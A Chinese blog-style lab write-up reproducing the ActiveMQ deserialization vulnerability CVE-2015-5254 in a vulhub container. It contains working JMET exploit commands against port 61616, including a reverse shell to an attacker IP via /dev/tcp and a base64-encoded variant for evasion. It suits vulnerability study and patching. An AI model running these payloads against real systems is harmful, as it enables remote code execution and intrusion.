ActiveMQ反序列化漏洞复现(CVE-2015-5254)
前言:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
漏洞描述:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
使用vulhub进行搭建漏洞环境
# 进入某一个漏洞/环境的目录cd activemq/CVE-2015-5254/# 启动运行环境docker-compose -up -d
漏洞复现:
1. 构造(可以使用ysoserial)可执行命令的序列化对象
2. 作为一个消息,发送给目标61616端口
3. 访问web管理页面,读取消息,触发漏洞的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
工具:JMET
使用详情:
https://github.com/matthiaskaiser/jmet
下载地址:
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建队列消息并写入命令。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME ip 61616
进入容器转到/tmp目录下,发现没有创建文件,这是因为当执行命令后会给目标的ActiveMQ添加一个名为event 的队列,通过访问
http://ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有的消息。
#列出所有在运行的容器信息。docker ps#进入容器docker exec -it cc0e9385f975 /bin/bash
点击触发后,执行命令。
命令执行成功。
反弹shell
直接反弹时无法成功。可以通过base64进行反弹。
无法反弹。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/7777 0>&1" -Yp ROME ip 61616
base64绕过。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo payload的basse64编码}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616
反弹成功。
影响版本
Apache ActiveMQ <5.13.x
修复建议
升级到最新版本
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。